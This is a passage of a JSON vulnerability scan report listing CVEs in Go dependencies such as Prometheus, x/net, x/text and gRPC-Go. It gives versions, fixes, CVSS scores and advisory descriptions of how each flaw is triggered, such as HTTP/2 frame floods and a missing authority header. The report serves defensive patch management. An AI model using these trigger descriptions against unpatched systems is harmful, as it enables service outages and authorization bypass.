"github.com/prometheus/prometheus@v0.305.3", "PkgName": "github.com/prometheus/prometheus", "PkgIdentifier": { "PURL": "pkg:golang/github.com/prometheus/prometheus@v0.305.3", "UID": "83655859701a095e" }, "InstalledVersion": "v0.305.3", "FixedVersion": "0.311.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42151", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:2747297cce71690c2f3f768e01c7e80752db01ff1c7fa91a235533e288a21c97", "Title": "github.com/prometheus/prometheus: Prometheus: Information disclosure of Azure OAuth client secret via config API", "Description": "Prometheus is an open-source monitoring system and time series database. Prior to versions 3.5.3 and 3.11.3, the client_secret field in the Azure AD remote write OAuth configuration (storage/remote/azuread) was typed as string instead of Secret. Prometheus redacts fields of type Secret when serving the configuration via the /-/config HTTP API endpoint. Because the field was a plain string, the Azure OAuth client secret was exposed in plaintext to any user or process with access to that endpoint. This issue has been patched in versions 3.5.3 and 3.11.3.", "Severity": "HIGH", "CweIDs": [ "CWE-200", "CWE-312", "CWE-256" ], "VendorSeverity": { "alma": 3, "azure": 2, "bitnami": 3, "ghsa": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25039", "https://access.redhat.com/errata/RHSA-2026:25245", "https://access.redhat.com/errata/RHSA-2026:25504", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:37267", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40768", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40970", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:50874", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54288", "https://access.redhat.com/errata/RHSA-2026:54427", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:60386", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60388", "https://access.redhat.com/errata/RHSA-2026:60389", "https://access.redhat.com/errata/RHSA-2026:60390", "https://access.redhat.com/errata/RHSA-2026:60391", "https://access.redhat.com/errata/RHSA-2026:60441", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:63103", "https://access.redhat.com/security/cve/CVE-2026-42151", "https://bugzilla.redhat.com/2466505", "https://bugzilla.redhat.com/2466507", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2484207", "https://bugzilla.redhat.com/show_bug.cgi?id=2466505", "https://bugzilla.redhat.com/show_bug.cgi?id=2466507", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2484207", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42151", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42154", "https://errata.almalinux.org/9/ALSA-2026-34359.html", "https://errata.rockylinux.org/RLSA-2026:34359", "https://github.com/prometheus/prometheus", "https://github.com/prometheus/prometheus/pull/18587", "https://github.com/prometheus/prometheus/pull/18590", "https://github.com/prometheus/prometheus/releases/tag/v3.11.3", "https://github.com/prometheus/prometheus/releases/tag/v3.5.3", "https://github.com/prometheus/prometheus/security/advisories/GHSA-wg65-39gg-5wfj", "https://nvd.nist.gov/vuln/detail/CVE-2026-42151", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42151.json", "https://www.cve.org/CVERecord?id=CVE-2026-42151" ], "PublishedDate": "2026-05-04T19:16:04.22Z", "LastModifiedDate": "2026-09-10T13:20:06.057Z" }, { "VulnerabilityID": "CVE-2026-56854", "VendorIDs": [ "GO-2026-6303" ], "PkgID": "golang.org/x/crypto@v0.52.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.52.0", "UID": "ed1a6850b8ba8c85" }, "InstalledVersion": "v0.52.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56854", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:47b61ea03c5e0a4c5a2b1c8ab1045bc0bd50045179c62bfd208b896fc68b406e", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Authentication bypass due to unenforced source-address restrictions", "Description": "The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote address, so a source-address restriction set by those callbacks was silently ignored. The check is now applied to the Permissions returned by any authentication callback.", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "amazon": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-56854", "https://go.dev/cl/797040", "https://go.dev/issue/80213", "https://nvd.nist.gov/vuln/detail/CVE-2026-56854", "https://pkg.go.dev/vuln/GO-2026-6303", "https://www.cve.org/CVERecord?id=CVE-2026-56854" ], "PublishedDate": "2026-08-28T16:18:17.607Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-46600", "VendorIDs": [ "GO-2026-5942" ], "PkgID": "golang.org/x/net@v0.55.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.55.0", "UID": "3762bd4e34baa6ce" }, "InstalledVersion": "v0.55.0", "FixedVersion": "0.56.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46600", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:5ac4ac30eff7a8a5033fc3a7613489e37f8c91be8fa252b3d6c1e21f8cca186f", "Title": "golang.org/x/net/dns/dnsmessage: golang.org/x/net/dns/dnsmessage: Denial of Service via invalid DNS record parsing", "Description": "Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "bitnami": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46600", "https://go.dev/cl/786345", "https://go.dev/issue/79795", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46600", "https://pkg.go.dev/vuln/GO-2026-5942", "https://www.cve.org/CVERecord?id=CVE-2026-46600" ], "PublishedDate": "2026-07-21T20:17:01.213Z", "LastModifiedDate": "2026-10-24T19:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-78661", "VendorIDs": [ "GO-2026-6860" ], "PkgID": "golang.org/x/net@v0.55.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.55.0", "UID": "3762bd4e34baa6ce" }, "InstalledVersion": "v0.55.0", "FixedVersion": "0.62.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78661", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:83e5c70c8673fe44a6f7e88c5d1fc62941ec891deba26c164c9feded1b9a9a97", "Title": "golang.org/x/net/html: golang.org/x/net/html: Denial of Service via crafted HTML input", "Description": "When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as \"a\u003c/x\u003e\") caused O(n^2) allocations and byte copies. Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78661", "https://go.dev/cl/849365", "https://go.dev/issue/82224", "https://groups.google.com/g/golang-announce/c/sqrs2vTx_Xs", "https://nvd.nist.gov/vuln/detail/CVE-2026-78661", "https://pkg.go.dev/vuln/GO-2026-6860", "https://www.cve.org/CVERecord?id=CVE-2026-78661" ], "PublishedDate": "2026-10-27T22:18:05.93Z", "LastModifiedDate": "2026-11-04T17:17:37.673Z" }, { "VulnerabilityID": "CVE-2026-78669", "VendorIDs": [ "GO-2026-6611" ], "PkgID": "golang.org/x/net@v0.55.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.55.0", "UID": "3762bd4e34baa6ce" }, "InstalledVersion": "v0.55.0", "FixedVersion": "0.60.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78669", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:d351451d1ae65cf33ec3412ac418e2c13f24ebd9a7a806e0d3433b5cc57f589d", "Title": "net/http: net/http/internal/http2: golang.org/x/net/http2: net/http: Denial of Service via excessive HTTP/2 SETTINGS frames", "Description": "A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78669", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81742", "https://go.dev/cl/847186", "https://go.dev/cl/847308", "https://go.dev/issue/81742", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://groups.google.com/g/golang-announce/c/ZPwCyRUuGBs", "https://linux.oracle.com/cve/CVE-2026-78669.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78669", "https://pkg.go.dev/vuln/GO-2026-6611", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78669", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:04.01Z", "LastModifiedDate": "2026-10-09T17:16:49.857Z" }, { "VulnerabilityID": "CVE-2026-56851", "VendorIDs": [ "GO-2026-6629" ], "PkgID": "golang.org/x/text@v0.37.0", "PkgName": "golang.org/x/text", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/text@v0.37.0", "UID": "f5591d8a5f651e8f" }, "InstalledVersion": "v0.37.0", "FixedVersion": "0.41.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56851", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:51f1665df74a8fb501e90321dac9648174a6a101fac180f7c11e4414a486bab7", "Title": "golang.org/x/text: golang.org/x/text: Denial of Service via out-of-bounds slice error in Nickname profile", "Description": "The Nickname profile can panic with an out-of-bounds slice error when transforming crafted input into a short destination buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-56851", "https://go.dev/cl/793360", "https://go.dev/issue/80112", "https://nvd.nist.gov/vuln/detail/CVE-2026-56851", "https://pkg.go.dev/vuln/GO-2026-6629", "https://www.cve.org/CVERecord?id=CVE-2026-56851" ], "PublishedDate": "2026-10-07T18:17:20.903Z", "LastModifiedDate": "2026-10-08T21:35:53.89Z" }, { "VulnerabilityID": "CVE-2026-56852", "VendorIDs": [ "GO-2026-5970" ], "PkgID": "golang.org/x/text@v0.37.0", "PkgName": "golang.org/x/text", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/text@v0.37.0", "UID": "f5591d8a5f651e8f" }, "InstalledVersion": "v0.37.0", "FixedVersion": "0.39.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56852", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:2355a9108f013d30f0b710de218029d6ccd938c87c7eeab510f5a3173f1fb2f0", "Title": "golang.org/x/text: golang.org/x/text: Denial of Service via invalid UTF-8 input", "Description": "A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70201", "https://access.redhat.com/security/cve/CVE-2026-56852", "https://bugzilla.redhat.com/2456335", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2504233", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456335", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2504233", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33810", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/10/ALSA-2026-70201.html", "https://errata.rockylinux.org/RLSA-2026:70201", "https://go.dev/cl/794100", "https://go.dev/issue/80142", "https://linux.oracle.com/cve/CVE-2026-56852.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56852", "https://pkg.go.dev/vuln/GO-2026-5970", "https://www.cve.org/CVERecord?id=CVE-2026-56852" ], "PublishedDate": "2026-07-21T20:17:02.867Z", "LastModifiedDate": "2026-10-24T19:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-84304", "VendorIDs": [ "GHSA-vp52-pcj8-j9qc" ], "PkgID": "google.golang.org/grpc@v1.80.0", "PkgName": "google.golang.org/grpc", "PkgIdentifier": { "PURL": "pkg:golang/google.golang.org/grpc@v1.80.0", "UID": "8c14663967a52663" }, "InstalledVersion": "v1.80.0", "FixedVersion": "1.83.1", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84304", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:ddd3f070684d584eda5ad14fab6f8b571f7c3751bf51b7e1ddcb40df1e61834d", "Title": "google.golang.org/grpc: gRPC-Go: Denial of Service via HTTP/2 DATA Frame Fragmentation", "Description": "gRPC-Go is the Go language implementation of gRPC. Prior to 1.83.1, internal/transport/transport.go stores each fragmented HTTP/2 DATA frame as a separate recvMsg in recvBuffer, so millions of one-byte frames can consume disproportionate heap memory even when payload bytes remain within connection and stream flow-control windows. An unauthenticated remote attacker can use concurrent multiplexed streams to exhaust process memory and cause a runtime panic or out-of-memory termination. Receive-buffer compaction is enabled by default and can be controlled temporarily with GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION. This issue is fixed in version 1.83.1.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "azure": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-84304", "https://github.com/grpc/grpc-go", "https://github.com/grpc/grpc-go/commit/7354d9c8debb4bcf2225bf429857078de310c176", "https://github.com/grpc/grpc-go/commit/8cfeca0e1ee5ea0980dcc320e20240fa1079ec77", "https://github.com/grpc/grpc-go/pull/9331", "https://github.com/grpc/grpc-go/pull/9333", "https://github.com/grpc/grpc-go/releases/tag/v1.83.1", "https://github.com/grpc/grpc-go/security/advisories/GHSA-vp52-pcj8-j9qc", "https://nvd.nist.gov/vuln/detail/CVE-2026-84304", "https://www.cve.org/CVERecord?id=CVE-2026-84304" ], "PublishedDate": "2026-09-01T19:17:30.743Z", "LastModifiedDate": "2026-09-09T21:09:13.08Z" }, { "VulnerabilityID": "CVE-2026-84445", "VendorIDs": [ "GHSA-2v4p-qf9q-27wj" ], "PkgID": "google.golang.org/grpc@v1.80.0", "PkgName": "google.golang.org/grpc", "PkgIdentifier": { "PURL": "pkg:golang/google.golang.org/grpc@v1.80.0", "UID": "8c14663967a52663" }, "InstalledVersion": "v1.80.0", "FixedVersion": "1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, 1.85.0-dev.0.20260825072537-93e31b48545e", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84445", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:734dddf3c4b5c821d72ee33854b1e80d79fc8b4a9b69373cbbbaf58101994858", "Title": "google.golang.org/grpc: gRPC-Go: Denial of Service via malformed RPC requests", "Description": "gRPC-Go is the Go language implementation of gRPC. Prior to 1.82.2 and 1.83.2, servers created with xds.NewGRPCServer() allow internal/transport/http2_server.go to accept an RPC containing neither the :authority header nor the Host header, while RouteAndProcess in internal/xds/server/routing.go assumes that an authority value exists and indexes the empty slice. A remote client that can complete transport connection establishment can trigger an index-out-of-bounds panic that is not recovered by the per-RPC goroutine and terminates the entire server process. In insecure or ordinary TLS deployments the request can be unauthenticated, while strict mTLS or ALTS deployments require valid transport credentials before the malformed RPC can reach the interceptor. This issue is fixed in versions 1.82.2 and 1.83.2.", "Severity": "HIGH", "CweIDs": [ "CWE-129", "CWE-248" ], "VendorSeverity": { "alma": 3, "azure": 3, "ghsa": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:76744", "https://access.redhat.com/errata/RHSA-2026:95272", "https://access.redhat.com/security/cve/CVE-2026-84445", "https://bugzilla.redhat.com/2533175", "https://bugzilla.redhat.com/show_bug.cgi?id=2533175", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84445", "https://errata.almalinux.org/9/ALSA-2026-76744.html", "https://errata.rockylinux.org/RLSA-2026:95272", "https://github.com/grpc/grpc-go", "https://github.com/grpc/grpc-go/commit/3822494d8ea03b992c089fd2a195f041762fffb7", "https://github.com/grpc/grpc-go/commit/8668b69c167df908b6b3666dcbf40992b9e932a4", "https://github.com/grpc/grpc-go/commit/93e31b48545e2a8aaeb6e06b47fb249f94e6297f", "https://github.com/grpc/grpc-go/issues/9354", "https://github.com/grpc/grpc-go/pull/9365", "https://github.com/grpc/grpc-go/pull/9366", "https://github.com/grpc/grpc-go/pull/9367", "https://github.com/grpc/grpc-go/releases/tag/v1.82.2", "https://github.com/grpc/grpc-go/releases/tag/v1.83.2", "https://github.com/grpc/grpc-go/security/advisories/GHSA-2v4p-qf9q-27wj", "https://nvd.nist.gov/vuln/detail/CVE-2026-84445", "https://www.cve.org/CVERecord?id=CVE-2026-84445" ], "PublishedDate": "2026-09-14T17:17:51.743Z", "LastModifiedDate": "2026-09-25T14:10:13.927Z" }, { "VulnerabilityID": "GHSA-hrxh-6v49-42gf", "PkgID": "google.golang.org/grpc@v1.80.0", "PkgName": "google.golang.org/grpc", "PkgIdentifier": { "PURL": "pkg:golang/google.golang.org/grpc@v1.80.0", "UID": "8c14663967a52663" }, "InstalledVersion": "v1.80.0", "FixedVersion": "1.82.1", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-hrxh-6v49-42gf", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:188c00128e540dd1b477ddda0e563b74fe04a31757ec9e6e39429502e7c0aedf", "Title": "gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities", "Description": "Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:\n\n- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields.\n- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.\n- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing `NOT` rules around unsupported fields.\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n#### xDS RBAC Authorization Bypass via `Metadata` \u0026 `RequestedServerName` matchers\n\n- Affected Component: xDS RBAC \n- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported `permission` and `principal` rules (specifically `Metadata` and `RequestedServerName`) were silently ignored and treated as no-ops.\n - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.\n- If these unsupported rules were nested inside logical `NOT` rules (`Permission_NotRule` / `Principal_NotId`) or multi-condition `OR/AND` rules, silently dropping them changed the boolean logic flow of the authorization engine.\n\nAs a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.\n\n#### HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts\n\n- Affected Component: HTTP/2 transport\n- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as `SETTINGS` ACKs or server-initiated `RST_STREAM`s.\n\nWhen a client initiated a rapid flood of stream creation (`HEADERS`) immediately followed by stream termination `RST_STREAM`, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and 